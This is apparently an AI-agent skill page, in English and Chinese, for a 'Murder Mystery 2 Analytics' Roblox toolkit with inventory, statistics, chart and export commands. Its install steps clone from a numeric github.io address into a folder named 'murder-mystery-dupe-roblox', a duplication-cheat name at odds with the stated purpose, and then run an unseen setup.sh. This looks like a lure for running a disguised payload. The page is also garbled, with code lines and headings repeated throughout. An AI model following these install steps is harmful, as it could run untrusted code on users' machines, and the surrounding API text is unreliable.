mm2-analytics-roblox-toolkit
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseMM2 Analytics Roblox Toolkit
MM2 Analytics Roblox工具包
Skill by ara.so — Data Skills collection.
This skill enables AI agents to help developers use the Murder Mystery 2 Analytics Dashboard, a comprehensive toolkit for tracking inventory, analyzing gameplay statistics, and optimizing strategy in Roblox's Murder Mystery 2 game through data visualization and AI-powered insights.
由ara.so开发的Skill — 数据技能合集。
本Skill可让AI Agent帮助开发者使用Murder Mystery 2分析仪表盘,这是一个综合性工具包,通过数据可视化和AI驱动的洞察,在Roblox的Murder Mystery 2游戏中跟踪库存、分析游戏统计数据并优化策略。
What This Project Does
本项目功能
The MM2 Analytics Dashboard is a data analysis and visualization toolkit that provides:
- Inventory Management: Track knife skins, gamepasses, and collection completeness
- Performance Analytics: Monitor win/loss ratios, role-specific statistics, and gameplay patterns
- Strategy Optimization: AI-powered pattern recognition and predictive modeling
- Data Visualization: Interactive charts and dashboards for stats tracking
- Export Tools: Generate reports in CSV, JSON formats for external analysis
MM2分析仪表盘是一个数据分析与可视化工具包,提供以下功能:
- 库存管理:跟踪刀具皮肤、游戏通行证和收集完成度
- 性能分析:监控胜负率、特定角色统计数据和游戏模式
- 策略优化:AI驱动的模式识别与预测建模
- 数据可视化:用于统计跟踪的交互式图表和仪表盘
- 导出工具:生成CSV、JSON格式的报告用于外部分析
Installation
安装
Quick Install (Automated)
快速安装(自动)
bash
undefinedbash
undefinedClone the repository
Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
Run automated setup
Run automated setup
chmod +x setup.sh
./setup.sh --install
undefinedchmod +x setup.sh
./setup.sh --install
undefinedManual Installation
手动安装
bash
undefinedbash
undefinedClone repository
Clone repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
Install Node.js dependencies
Install Node.js dependencies
npm install
npm install
Install Python dependencies
Install Python dependencies
python3 -m pip install -r requirements.txt
undefinedpython3 -m pip install -r requirements.txt
undefinedDependencies
依赖项
The project requires:
- Python 3.8+ with packages: ,
pandas,numpy,matplotlib,pyyamlrequests - Node.js 18+ with packages for web dashboard
- Optional: OpenAI/Claude API keys for AI features
本项目需要:
- Python 3.8+及以下包:,
pandas,numpy,matplotlib,pyyamlrequests - Node.js 18+及用于Web仪表盘的包
- 可选:OpenAI/Claude API密钥用于AI功能
Configuration
配置
Environment Setup
环境设置
Create a file in the project root:
.envbash
undefined在项目根目录创建文件:
.envbash
undefinedAPI Keys (optional for AI features)
API Keys (optional for AI features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
Data directories
Data directories
DATA_DIRECTORY=./data/collections
EXPORT_DIRECTORY=./exports
DATA_DIRECTORY=./data/collections
EXPORT_DIRECTORY=./exports
Analytics settings
Analytics settings
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO
Roblox connection (local data only)
Roblox connection (local data only)
ROBLOX_USER_ID=your_user_id
undefinedROBLOX_USER_ID=your_user_id
undefinedProfile Configuration
配置文件设置
Create a profile in :
config/profiles.yamlyaml
profiles:
- name: "default_profile"
username: "MysterySolver2026"
settings:
preferred_role: "sheriff"
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: ["csv", "json"]
inventory_filter:
knife_skins:
rarity: ["legendary", "ancient", "godly"]
track_duplicates: true
gamepasses:
active_only: true
analytics_preferences:
win_loss_tracking: true
role_performance: true
time_analysis: true
prediction_models: false
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
confidence: 0.85
- name: "passive_innocent"
priority: "distraction_avoidance"
confidence: 0.72在中创建配置文件:
config/profiles.yamlyaml
profiles:
- name: "default_profile"
username: "MysterySolver2026"
settings:
preferred_role: "sheriff"
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: ["csv", "json"]
inventory_filter:
knife_skins:
rarity: ["legendary", "ancient", "godly"]
track_duplicates: true
gamepasses:
active_only: true
analytics_preferences:
win_loss_tracking: true
role_performance: true
time_analysis: true
prediction_models: false
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
confidence: 0.85
- name: "passive_innocent"
priority: "distraction_avoidance"
confidence: 0.72Key Commands (CLI)
关键命令(CLI)
Analytics Mode
分析模式
Run comprehensive analytics on your gameplay data:
bash
undefined运行全面的游戏数据分析:
bash
undefinedBasic analytics
Basic analytics
python3 main.py --mode analytics --profile default_profile
python3 main.py --mode analytics --profile default_profile
With export
With export
python3 main.py --mode analytics
--profile default_profile
--export statistics_2026.json
--format json
--verbose
--profile default_profile
--export statistics_2026.json
--format json
--verbose
python3 main.py --mode analytics
--profile default_profile
--export statistics_2026.json
--format json
--verbose
--profile default_profile
--export statistics_2026.json
--format json
--verbose
Live tracking mode
Live tracking mode
python3 main.py --mode analytics
--profile default_profile
--live
--interval 60
--profile default_profile
--live
--interval 60
python3 main.py --mode analytics
--profile default_profile
--live
--interval 60
--profile default_profile
--live
--interval 60
Debug mode
Debug mode
python3 main.py --mode analytics
--profile default_profile
--log-level DEBUG
--verbose
--profile default_profile
--log-level DEBUG
--verbose
undefinedpython3 main.py --mode analytics
--profile default_profile
--log-level DEBUG
--verbose
--profile default_profile
--log-level DEBUG
--verbose
undefinedInventory Management
库存管理
Track and analyze your item collection:
bash
undefined跟踪并分析你的物品收藏:
bash
undefinedScan inventory
Scan inventory
python3 main.py --mode inventory
--scan
--profile default_profile
--scan
--profile default_profile
python3 main.py --mode inventory
--scan
--profile default_profile
--scan
--profile default_profile
Filter by rarity
Filter by rarity
python3 main.py --mode inventory
--filter rarity:legendary,ancient
--export inventory_rare.csv
--filter rarity:legendary,ancient
--export inventory_rare.csv
python3 main.py --mode inventory
--filter rarity:legendary,ancient
--export inventory_rare.csv
--filter rarity:legendary,ancient
--export inventory_rare.csv
Check collection completeness
Check collection completeness
python3 main.py --mode inventory
--check-completeness
--category knife_skins
--check-completeness
--category knife_skins
python3 main.py --mode inventory
--check-completeness
--category knife_skins
--check-completeness
--category knife_skins
Find duplicates
Find duplicates
python3 main.py --mode inventory
--find-duplicates
--export duplicates_report.json
--find-duplicates
--export duplicates_report.json
undefinedpython3 main.py --mode inventory
--find-duplicates
--export duplicates_report.json
--find-duplicates
--export duplicates_report.json
undefinedStrategy Analysis
策略分析
Analyze gameplay patterns and optimize strategy:
bash
undefined分析游戏模式并优化策略:
bash
undefinedAnalyze win patterns
Analyze win patterns
python3 main.py --mode strategy
--analyze-patterns
--role sheriff
--export patterns.json
--analyze-patterns
--role sheriff
--export patterns.json
python3 main.py --mode strategy
--analyze-patterns
--role sheriff
--export patterns.json
--analyze-patterns
--role sheriff
--export patterns.json
Generate recommendations
Generate recommendations
python3 main.py --mode strategy
--recommend
--based-on last_30_days
--recommend
--based-on last_30_days
python3 main.py --mode strategy
--recommend
--based-on last_30_days
--recommend
--based-on last_30_days
Compare strategies
Compare strategies
python3 main.py --mode strategy
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time
undefinedpython3 main.py --mode strategy
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time
undefinedData Export
数据导出
Export data for external analysis:
bash
undefined导出数据用于外部分析:
bash
undefinedExport all statistics
Export all statistics
python3 main.py --export-all
--format csv
--output ./exports/full_export_2026.csv
--format csv
--output ./exports/full_export_2026.csv
python3 main.py --export-all
--format csv
--output ./exports/full_export_2026.csv
--format csv
--output ./exports/full_export_2026.csv
Export specific metrics
Export specific metrics
python3 main.py --export
--metrics win_loss,inventory,strategy
--format json
--output ./exports/metrics.json
--metrics win_loss,inventory,strategy
--format json
--output ./exports/metrics.json
python3 main.py --export
--metrics win_loss,inventory,strategy
--format json
--output ./exports/metrics.json
--metrics win_loss,inventory,strategy
--format json
--output ./exports/metrics.json
Export for visualization
Export for visualization
python3 main.py --export
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json
undefinedpython3 main.py --export
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json
undefinedPython API Usage
Python API 使用
Inventory Tracker
库存跟踪器
python
from mm2_toolkit import InventoryManager, InventoryFilterpython
from mm2_toolkit import InventoryManager, InventoryFilterInitialize inventory manager
Initialize inventory manager
manager = InventoryManager(
profile_name="default_profile",
data_directory="./data/collections"
)
manager = InventoryManager(
profile_name="default_profile",
data_directory="./data/collections"
)
Load current inventory
Load current inventory
manager.load_inventory()
manager.load_inventory()
Filter knife skins by rarity
Filter knife skins by rarity
filter_config = InventoryFilter(
category="knife_skins",
rarity=["legendary", "ancient"],
include_duplicates=False
)
filtered_items = manager.filter_items(filter_config)
filter_config = InventoryFilter(
category="knife_skins",
rarity=["legendary", "ancient"],
include_duplicates=False
)
filtered_items = manager.filter_items(filter_config)
Get collection statistics
Get collection statistics
stats = manager.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Unique knives: {stats['unique_knife_count']}")
print(f"Collection completeness: {stats['completeness_percentage']}%")
stats = manager.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Unique knives: {stats['unique_knife_count']}")
print(f"Collection completeness: {stats['completeness_percentage']}%")
Export inventory
Export inventory
manager.export(
format="json",
output_path="./exports/inventory_export.json",
include_metadata=True
)
undefinedmanager.export(
format="json",
output_path="./exports/inventory_export.json",
include_metadata=True
)
undefinedAnalytics Engine
分析引擎
python
from mm2_toolkit import AnalyticsEngine, AnalyticsConfigpython
from mm2_toolkit import AnalyticsEngine, AnalyticsConfigConfigure analytics
Configure analytics
config = AnalyticsConfig(
tracking_mode="comprehensive",
refresh_rate=30,
enable_predictions=True,
api_key_openai="${OPENAI_API_KEY}"
)
config = AnalyticsConfig(
tracking_mode="comprehensive",
refresh_rate=30,
enable_predictions=True,
api_key_openai="${OPENAI_API_KEY}"
)
Initialize engine
Initialize engine
engine = AnalyticsEngine(config)
engine = AnalyticsEngine(config)
Load gameplay data
Load gameplay data
engine.load_data(
source="local",
profile="default_profile",
date_range="last_30_days"
)
engine.load_data(
source="local",
profile="default_profile",
date_range="last_30_days"
)
Calculate performance metrics
Calculate performance metrics
metrics = engine.calculate_metrics()
print(f"Win rate: {metrics['win_rate']:.2%}")
print(f"Average survival time: {metrics['avg_survival_seconds']}s")
print(f"Sheriff accuracy: {metrics['sheriff_accuracy']:.2%}")
metrics = engine.calculate_metrics()
print(f"Win rate: {metrics['win_rate']:.2%}")
print(f"Average survival time: {metrics['avg_survival_seconds']}s")
print(f"Sheriff accuracy: {metrics['sheriff_accuracy']:.2%}")
Generate win/loss breakdown by role
Generate win/loss breakdown by role
role_breakdown = engine.breakdown_by_role()
for role, stats in role_breakdown.items():
print(f"{role}: {stats['wins']}W / {stats['losses']}L")
role_breakdown = engine.breakdown_by_role()
for role, stats in role_breakdown.items():
print(f"{role}: {stats['wins']}W / {stats['losses']}L")
Get AI-powered insights (requires API key)
Get AI-powered insights (requires API key)
if config.enable_predictions:
insights = engine.generate_insights()
for insight in insights:
print(f"- {insight['recommendation']}")
undefinedif config.enable_predictions:
insights = engine.generate_insights()
for insight in insights:
print(f"- {insight['recommendation']}")
undefinedStrategy Analyzer
策略分析器
python
from mm2_toolkit import StrategyAnalyzer, StrategyPatternpython
from mm2_toolkit import StrategyAnalyzer, StrategyPatternInitialize analyzer
Initialize analyzer
analyzer = StrategyAnalyzer(profile="default_profile")
analyzer = StrategyAnalyzer(profile="default_profile")
Define strategy pattern
Define strategy pattern
aggressive_pattern = StrategyPattern(
name="aggressive_sheriff",
role="sheriff",
priorities=[
"high_visibility_areas",
"rapid_elimination",
"coin_collection_secondary"
],
risk_tolerance=0.8
)
aggressive_pattern = StrategyPattern(
name="aggressive_sheriff",
role="sheriff",
priorities=[
"high_visibility_areas",
"rapid_elimination",
"coin_collection_secondary"
],
risk_tolerance=0.8
)
Analyze pattern effectiveness
Analyze pattern effectiveness
results = analyzer.analyze_pattern(
pattern=aggressive_pattern,
sample_size=100
)
print(f"Pattern win rate: {results['win_rate']:.2%}")
print(f"Average time to victory: {results['avg_time_to_win']}s")
print(f"Confidence score: {results['confidence']:.2f}")
results = analyzer.analyze_pattern(
pattern=aggressive_pattern,
sample_size=100
)
print(f"Pattern win rate: {results['win_rate']:.2%}")
print(f"Average time to victory: {results['avg_time_to_win']}s")
print(f"Confidence score: {results['confidence']:.2f}")
Compare multiple strategies
Compare multiple strategies
passive_pattern = StrategyPattern(
name="passive_innocent",
role="innocent",
priorities=[
"stealth_movement",
"coin_avoidance",
"survival_focus"
],
risk_tolerance=0.3
)
comparison = analyzer.compare_strategies([
aggressive_pattern,
passive_pattern
])
for result in comparison:
print(f"{result['name']}: {result['effectiveness_score']:.2f}")
undefinedpassive_pattern = StrategyPattern(
name="passive_innocent",
role="innocent",
priorities=[
"stealth_movement",
"coin_avoidance",
"survival_focus"
],
risk_tolerance=0.3
)
comparison = analyzer.compare_strategies([
aggressive_pattern,
passive_pattern
])
for result in comparison:
print(f"{result['name']}: {result['effectiveness_score']:.2f}")
undefinedData Visualization
数据可视化
python
from mm2_toolkit import DataVisualizer, ChartConfigpython
from mm2_toolkit import DataVisualizer, ChartConfigInitialize visualizer
Initialize visualizer
visualizer = DataVisualizer(
theme="dark",
resolution=(1920, 1080)
)
visualizer = DataVisualizer(
theme="dark",
resolution=(1920, 1080)
)
Load data
Load data
visualizer.load_data(source="analytics_engine")
visualizer.load_data(source="analytics_engine")
Create win rate chart
Create win rate chart
win_chart = visualizer.create_chart(
chart_type="line",
data_field="win_rate",
config=ChartConfig(
title="Win Rate Over Time",
x_axis="date",
y_axis="percentage",
color_scheme="gradient_blue"
)
)
win_chart.save("./exports/win_rate_chart.png")
win_chart = visualizer.create_chart(
chart_type="line",
data_field="win_rate",
config=ChartConfig(
title="Win Rate Over Time",
x_axis="date",
y_axis="percentage",
color_scheme="gradient_blue"
)
)
win_chart.save("./exports/win_rate_chart.png")
Create inventory distribution pie chart
Create inventory distribution pie chart
inventory_chart = visualizer.create_chart(
chart_type="pie",
data_field="inventory_rarity",
config=ChartConfig(
title="Knife Rarity Distribution",
labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"],
color_scheme="rarity_colors"
)
)
inventory_chart.save("./exports/inventory_distribution.png")
inventory_chart = visualizer.create_chart(
chart_type="pie",
data_field="inventory_rarity",
config=ChartConfig(
title="Knife Rarity Distribution",
labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"],
color_scheme="rarity_colors"
)
)
inventory_chart.save("./exports/inventory_distribution.png")
Generate dashboard
Generate dashboard
dashboard = visualizer.create_dashboard(
charts=[
"win_rate_timeline",
"role_performance",
"inventory_value",
"strategy_effectiveness"
],
layout="2x2_grid"
)
dashboard.export("./exports/dashboard.html")
undefineddashboard = visualizer.create_dashboard(
charts=[
"win_rate_timeline",
"role_performance",
"inventory_value",
"strategy_effectiveness"
],
layout="2x2_grid"
)
dashboard.export("./exports/dashboard.html")
undefinedCommon Patterns
常见模式
Full Analytics Workflow
完整分析流程
python
from mm2_toolkit import (
ProfileManager,
InventoryManager,
AnalyticsEngine,
StrategyAnalyzer,
DataVisualizer
)python
from mm2_toolkit import (
ProfileManager,
InventoryManager,
AnalyticsEngine,
StrategyAnalyzer,
DataVisualizer
)Load profile
Load profile
profile = ProfileManager.load("default_profile")
profile = ProfileManager.load("default_profile")
Step 1: Scan inventory
Step 1: Scan inventory
inventory = InventoryManager(profile)
inventory.scan()
inventory_stats = inventory.get_statistics()
inventory = InventoryManager(profile)
inventory.scan()
inventory_stats = inventory.get_statistics()
Step 2: Analyze gameplay
Step 2: Analyze gameplay
analytics = AnalyticsEngine(profile.analytics_config)
analytics.load_data(date_range="last_7_days")
performance = analytics.calculate_metrics()
analytics = AnalyticsEngine(profile.analytics_config)
analytics.load_data(date_range="last_7_days")
performance = analytics.calculate_metrics()
Step 3: Evaluate strategies
Step 3: Evaluate strategies
strategy = StrategyAnalyzer(profile)
strategy_results = strategy.analyze_all_patterns()
strategy = StrategyAnalyzer(profile)
strategy_results = strategy.analyze_all_patterns()
Step 4: Generate visualizations
Step 4: Generate visualizations
visualizer = DataVisualizer()
visualizer.load_data_from_sources([
inventory,
analytics,
strategy
])
visualizer = DataVisualizer()
visualizer.load_data_from_sources([
inventory,
analytics,
strategy
])
Create comprehensive report
Create comprehensive report
report = {
"profile": profile.username,
"generated_at": datetime.now().isoformat(),
"inventory": inventory_stats,
"performance": performance,
"strategies": strategy_results
}
report = {
"profile": profile.username,
"generated_at": datetime.now().isoformat(),
"inventory": inventory_stats,
"performance": performance,
"strategies": strategy_results
}
Export everything
Export everything
with open("./exports/full_report.json", "w") as f:
json.dump(report, f, indent=2)
visualizer.create_dashboard(
charts=["all"],
layout="auto"
).export("./exports/dashboard.html")
print("Complete analytics workflow finished!")
undefinedwith open("./exports/full_report.json", "w") as f:
json.dump(report, f, indent=2)
visualizer.create_dashboard(
charts=["all"],
layout="auto"
).export("./exports/dashboard.html")
print("Complete analytics workflow finished!")
undefinedReal-time Monitoring
实时监控
python
from mm2_toolkit import LiveTracker
import timepython
from mm2_toolkit import LiveTracker
import timeInitialize live tracker
Initialize live tracker
tracker = LiveTracker(
profile="default_profile",
refresh_interval=30
)
tracker = LiveTracker(
profile="default_profile",
refresh_interval=30
)
Start monitoring
Start monitoring
tracker.start()
try:
while True:
# Get current session stats
current_stats = tracker.get_current_session()
print(f"Session time: {current_stats['duration_minutes']}m")
print(f"Games played: {current_stats['games_played']}")
print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
# Check for significant events
events = tracker.get_recent_events()
for event in events:
if event['type'] == 'rare_item_obtained':
print(f"🎉 Rare item obtained: {event['item_name']}")
elif event['type'] == 'win_streak':
print(f"🔥 Win streak: {event['streak_length']} games!")
time.sleep(tracker.refresh_interval)except KeyboardInterrupt:
# Save session data
tracker.stop()
session_summary = tracker.export_session()
print(f"\nSession saved: {session_summary['filename']}")
undefinedtracker.start()
try:
while True:
# Get current session stats
current_stats = tracker.get_current_session()
print(f"Session time: {current_stats['duration_minutes']}m")
print(f"Games played: {current_stats['games_played']}")
print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
# Check for significant events
events = tracker.get_recent_events()
for event in events:
if event['type'] == 'rare_item_obtained':
print(f"🎉 Rare item obtained: {event['item_name']}")
elif event['type'] == 'win_streak':
print(f"🔥 Win streak: {event['streak_length']} games!")
time.sleep(tracker.refresh_interval)except KeyboardInterrupt:
# Save session data
tracker.stop()
session_summary = tracker.export_session()
print(f"\nSession saved: {session_summary['filename']}")
undefinedCustom Data Export
自定义数据导出
python
from mm2_toolkit import DataExporter, ExportFormat
import pandas as pdpython
from mm2_toolkit import DataExporter, ExportFormat
import pandas as pdInitialize exporter
Initialize exporter
exporter = DataExporter(profile="default_profile")
exporter = DataExporter(profile="default_profile")
Define custom export schema
Define custom export schema
schema = {
"inventory": {
"fields": ["item_name", "rarity", "category", "obtained_date"],
"filter": {"rarity": ["legendary", "ancient"]}
},
"gameplay": {
"fields": ["date", "role", "outcome", "duration_seconds"],
"date_range": "last_30_days"
},
"strategy": {
"fields": ["pattern_name", "win_rate", "games_played"],
"min_games": 10
}
}
schema = {
"inventory": {
"fields": ["item_name", "rarity", "category", "obtained_date"],
"filter": {"rarity": ["legendary", "ancient"]}
},
"gameplay": {
"fields": ["date", "role", "outcome", "duration_seconds"],
"date_range": "last_30_days"
},
"strategy": {
"fields": ["pattern_name", "win_rate", "games_played"],
"min_games": 10
}
}
Export to DataFrame for analysis
Export to DataFrame for analysis
data = exporter.export_custom(schema, format=ExportFormat.DATAFRAME)
data = exporter.export_custom(schema, format=ExportFormat.DATAFRAME)
Perform custom analysis
Perform custom analysis
inventory_df = data['inventory']
gameplay_df = data['gameplay']
inventory_df = data['inventory']
gameplay_df = data['gameplay']
Calculate custom metrics
Calculate custom metrics
rare_items_count = len(inventory_df)
sheriff_win_rate = (
gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win'
).mean()
print(f"Rare items owned: {rare_items_count}")
print(f"Sheriff win rate: {sheriff_win_rate:.2%}")
rare_items_count = len(inventory_df)
sheriff_win_rate = (
gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win'
).mean()
print(f"Rare items owned: {rare_items_count}")
print(f"Sheriff win rate: {sheriff_win_rate:.2%}")
Export combined report
Export combined report
combined_df = pd.merge(
gameplay_df,
inventory_df,
how='outer',
left_index=True,
right_index=True
)
combined_df.to_csv("./exports/combined_analysis.csv", index=False)
undefinedcombined_df = pd.merge(
gameplay_df,
inventory_df,
how='outer',
left_index=True,
right_index=True
)
combined_df.to_csv("./exports/combined_analysis.csv", index=False)
undefinedTroubleshooting
故障排除
Common Issues
常见问题
Issue: "Profile not found" error
bash
undefined问题:"Profile not found"错误
bash
undefinedVerify profile exists
Verify profile exists
python3 main.py --list-profiles
python3 main.py --list-profiles
Create new profile
Create new profile
python3 main.py --create-profile my_profile
**Issue: "No data to analyze" error**
```pythonpython3 main.py --create-profile my_profile
**问题:"No data to analyze"错误**
```pythonCheck data directory
Check data directory
from mm2_toolkit import DataValidator
validator = DataValidator()
status = validator.check_data_availability(profile="default_profile")
if not status['has_data']:
print("Data directory is empty. Run inventory scan first:")
print("python3 main.py --mode inventory --scan")
**Issue: API key errors with AI features**
```pythonfrom mm2_toolkit import DataValidator
validator = DataValidator()
status = validator.check_data_availability(profile="default_profile")
if not status['has_data']:
print("Data directory is empty. Run inventory scan first:")
print("python3 main.py --mode inventory --scan")
**问题:AI功能的API密钥错误**
```pythonVerify environment variables
Verify environment variables
import os
openai_key = os.getenv('OPENAI_API_KEY')
if not openai_key:
print("Warning: OPENAI_API_KEY not set. AI features disabled.")
import os
openai_key = os.getenv('OPENAI_API_KEY')
if not openai_key:
print("Warning: OPENAI_API_KEY not set. AI features disabled.")
Disable AI features in config
Disable AI features in config
config.enable_predictions = False
**Issue: Export format not supported**
```python
from mm2_toolkit import DataExporter, ExportFormatconfig.enable_predictions = False
**问题:不支持的导出格式**
```python
from mm2_toolkit import DataExporter, ExportFormatCheck supported formats
Check supported formats
supported = ExportFormat.list_supported()
print(f"Supported formats: {supported}")
supported = ExportFormat.list_supported()
print(f"Supported formats: {supported}")
Use correct format
Use correct format
exporter.export(
format=ExportFormat.JSON, # Use enum
output_path="./exports/data.json"
)
**Issue: Slow analytics performance**
```pythonexporter.export(
format=ExportFormat.JSON, # Use enum
output_path="./exports/data.json"
)
**问题:分析性能缓慢**
```pythonEnable caching
Enable caching
config = AnalyticsConfig(
enable_cache=True,
cache_ttl=3600, # 1 hour
parallel_processing=True
)
config = AnalyticsConfig(
enable_cache=True,
cache_ttl=3600, # 1 hour
parallel_processing=True
)
Use incremental updates
Use incremental updates
analytics.load_data(
mode="incremental", # Only load new data
since="last_session"
)
undefinedanalytics.load_data(
mode="incremental", # Only load new data
since="last_session"
)
undefinedBest Practices
最佳实践
- Always use environment variables for API keys and sensitive data
- Run inventory scans regularly to keep data up-to-date
- Use profile-specific configurations for different play styles
- Enable caching for large datasets to improve performance
- Export data frequently to prevent data loss
- Validate data integrity before running analytics
- 始终使用环境变量存储API密钥和敏感数据
- 定期运行库存扫描以保持数据最新
- 针对不同游戏风格使用特定配置文件
- 为大型数据集启用缓存以提升性能
- 频繁导出数据以防止数据丢失
- 运行分析前验证数据完整性
Additional Resources
额外资源
- Configuration examples:
config/examples/ - Sample data:
data/samples/ - API documentation:
docs/api.md - Strategy guides:
docs/strategies.md
- 配置示例:
config/examples/ - 示例数据:
data/samples/ - API文档:
docs/api.md - 策略指南:
docs/strategies.md